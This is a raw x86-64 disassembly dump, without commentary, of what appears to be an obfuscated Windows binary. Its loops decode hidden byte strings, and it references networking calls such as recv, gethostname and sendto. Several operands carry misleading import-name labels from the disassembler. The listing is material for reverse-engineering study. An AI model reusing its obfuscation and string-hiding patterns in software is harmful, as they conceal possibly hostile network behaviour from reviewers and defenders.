sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x140081d26
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008276c
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140081d13
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x140081d13
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx r11d, r10b
jmp 0x1400827dc
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
jmp 0x14008281a
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082820
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008267e
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x1400826ac
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
mov byte [rbp + r10 + 0x5a0], dil
inc r10
jmp 0x140081d13
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
cmp r8, 0x5a
jb 0x140082165
movzx r11d, r10b
lea ecx, [r11 - 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x20]
jmp 0x14008276c
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x200
jae 0x1400825f2
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140082545
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008218b
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x140082619
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x14008248b
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x1400821cd
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400826ac
movzx r11d, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14008267e
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140082820
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14008281d
movzx r11d, r10b
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400827cb
lea edx, [r10 - 0x30]
mov ecx, 0x28
jmp 0x1400827a2
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x140081d13
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008276c
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140082381
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
jmp 0x140082212
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400823bf
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400823eb
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008267e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082416
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140082820
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140082431
lea edx, [r10 - 0x30]
mov ecx, 0x28
jmp 0x14008280c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008245f
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
dec r10
inc r10
jmp 0x140081d13
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008221d
movzx r11d, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14008276c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400824bb
movzx r11d, r10b
lea edx, [r11 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x14008276c
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400824ed
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140081d13
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082515
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14008281d
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400821cd
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008267e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082583
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400825ab
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140082820
cmp rbx, rcx
jne 0x1400825c6
movzx r11d, r10b
lea edx, [r11 - 0x50]
mov ecx, 0x18
jmp 0x1400827cb
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008218b
movzx r11d, r10b
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14008276c
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x5a0]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400827dc
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14008267b
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x38
movzx eax, r11b
and al, r9b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x5a0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x20
add r9b, cl
mov byte [rbp + r10 + 0x5a0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
lea ecx, [r10 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x68
jmp 0x14008281d
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
dec r10
inc r10
jmp 0x140081d13
movzx r11d, r10b
lea edx, [r11 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008276c
movzx r11d, r10b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
sub r11b, 0x68
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, r9b
mov byte [rbp + r10 + 0x5a0], r11b
inc r8
dec r10
inc r10
jmp 0x140081d13
lea edx, [r10 - 0x28]
mov ecx, recv
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140081d13
movzx r11d, r10b
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x18
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x5a0], r11b
jmp 0x14008281d
lea edx, [r10 + 0x38]
mov ecx, 0x3c
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140081d13
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x1c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x5a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140081d13
add r10b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140081d10
sub r10b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140081d00
lea rcx, [rbp + 0x16f7280]
jmp 0x1400828c9
lea rcx, [rbp + 0xd43028]
jmp 0x1400828c9
lea rcx, [rbp + 0x5a0]
lea rdx, [0x1401ed24c]
call fcn.140039930
mov byte [rbp + 0x340], 0xa5
mov byte [rbp + 0x341], 0x8f
mov byte [rbp + 0x342], 0x83
mov byte [rbp + 0x343], 0x81
mov byte [rbp + 0x344], 0x88
mov byte [rbp + 0x345], 0x80
mov byte [rbp + 0x346], 0x46
mov byte [rbp + 0x347], __WSAFDIsSet
mov byte [rbp + 0x348], 0x83
mov byte [rbp + 0x349], 0x8c
mov byte [rbp + 0x34a], 0x86
mov byte [rbp + 0x34b], 0x8e
mov byte [rbp + 0x34c], 0xf8
mov byte [rbp + 0x34d], 0x82
mov byte [rbp + 0x34e], 0x80
mov byte [rbp + 0x34f], reloc.WS2_32.dll_WSAGetLastError
xor eax, eax
mov qword [rbp + 0x350], rax
mov byte [rbp + 0x358], al
movabs rsi, 0x1f24f2e214e607b0
movabs r15, 0x9bb8be6a687e2670
movabs r14, 0x5d6ed8a63eb21710
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x19
jae 0x14008346e
movzx r9d, byte [rbp + r10 + 0x340]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140083462
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400829e3
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x30
jmp 0x140082a10
je 0x1400833f1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140083390
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083332
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400832e8
cmp r8, r10
ja 0x140083456
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x140082a3e
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x140082a80
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400832c5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400832a0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140083281
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140083266
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140083235
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140082ec7
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140082ea8
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140082e87
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140082e62
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140082e43
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140082e24
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140082e06
lea rcx, [r8 + 0x2a]
cmp rbx, rcx
je 0x140082def
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140082f2f
mov rbx, rcx
lea r8, [rcx + 0x40]
lea rax, [r8 + 1]
cmp rcx, rax
jb 0x140083439
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x14008341c
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140082c0e
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x140082bf3
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140082bd4
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x140082d98
lea rcx, [r8 + 0x2a]
cmp rbx, rcx
jb 0x140082d27
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140082d01
mov rbx, rcx
lea r8, [rcx + 0x40]
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140082cd1
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140082cb6
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140082c93
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140082c78
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x140082c60
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x140082c4e
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140082c2d
mov rbx, rax
lea r8, [rax + 4]
jmp 0x140082a90
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082a80
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140082a10
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400829a6
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x140082993
lea edx, [r10 + 0x60]
mov ecx, 0x30
movzx r11d, r10b
jmp 0x14008333f
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x140083374
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140083377
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140083202
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400833aa
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
mov byte [rbp + r10 + 0x340], dil
inc r10
jmp 0x140082993
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
cmp rbx, 0x7a
jae 0x1400831b8
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400830cb
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x7a
jb 0x140082d17
movzx r11d, r10b
lea ecx, [r11 + 0x20]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140083302
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 6
je 0x1400831e0
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140082fd4
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082d3d
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
jmp 0x1400831fa
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140083377
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083374
movzx r11d, r10b
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140083350
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140082993
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140082993
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx r11d, r10b
jmp 0x140083302
lea rcx, [r8 + 8]
cmp rbx, rcx
jae 0x140082ee8
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
jmp 0x140082da7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082f22
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082f4e
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400833aa
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140082f7a
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083374
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082fac
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140082993
cmp rbx, rcx
jne 0x140082db2
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140083302
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140083000
movzx r11d, r10b
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140083302
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140083035
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140082993
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140083061
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083374
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083091
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083202
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140082d3d
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140083105
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140083131
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400833aa
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083160
movzx r11d, r10b
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140083202
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008318c
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083374
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140082d6e
movzx r11d, r10b
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140083302
movzx r11d, r10b
lea edx, [r11 + 0x80]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x340]
sub dil, al
add dil, 0x80
jmp 0x14008334a
movzx r11d, r10b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x340]
lea edi, [r9 + rcx]
sub dil, 0x20
sub r11b, 0x70
movzx eax, r9b
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x340], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400833aa
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x1400833aa
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083377
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140082993
movzx r11d, r10b
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083302
movzx r11d, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
sub r11b, 0x30
movzx eax, r9b
and al, r11b
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x340], cl
inc r8
dec r10
inc r10
jmp 0x140082993
movzx r11d, r10b
lea edx, [r11 - 0x10]
mov ecx, gethostname
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add r11b, 0x30
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x50
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x340], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082993
lea rcx, [r10 + r15]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
sub dil, 0x10
add dil, cl
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x340], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x340]
add rax, r8
add r10, rax
inc r10
jmp 0x140082993
add r10b, 0x70
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x10
jmp 0x140082990
add r10b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
jmp 0x140082977
lea rcx, [rbp + 0x14d2d80]
jmp 0x140083475
lea rcx, [rbp + 0xf33530]
jmp 0x140083475
lea rcx, [rbp + 0x340]
lea rdx, [0x1401eb1bc]
call fcn.140039930
mov byte [rbp + 0x5d0], 0x4d
mov byte [rbp + 0x5d1], 0x77
mov byte [rbp + 0x5d2], WSAGetLastError
mov byte [rbp + 0x5d3], WSAStartup
mov byte [rbp + 0x5d4], 0x76
mov byte [rbp + 0x5d5], WSAGetLastError
mov byte [rbp + 0x5d6], 0x20
mov byte [rbp + 0x5d7], 0x47
mov byte [rbp + 0x5d8], 0x65
mov byte [rbp + 0x5d9], 0x62
mov byte [rbp + 0x5da], 0x60
mov byte [rbp + 0x5db], 0x2b
mov byte [rbp + 0x5dc], 0x47
mov byte [rbp + 0x5dd], 0x7e
mov byte [rbp + 0x5de], 0x76
mov byte [rbp + 0x5df], 0x7a
mov byte [rbp + 0x5e0], 0x62
mov byte [rbp + 0x5e1], 0x7e
mov byte [rbp + 0x5e2], reloc.WS2_32.dll_sendto
xorps xmm0, xmm0
xor eax, eax
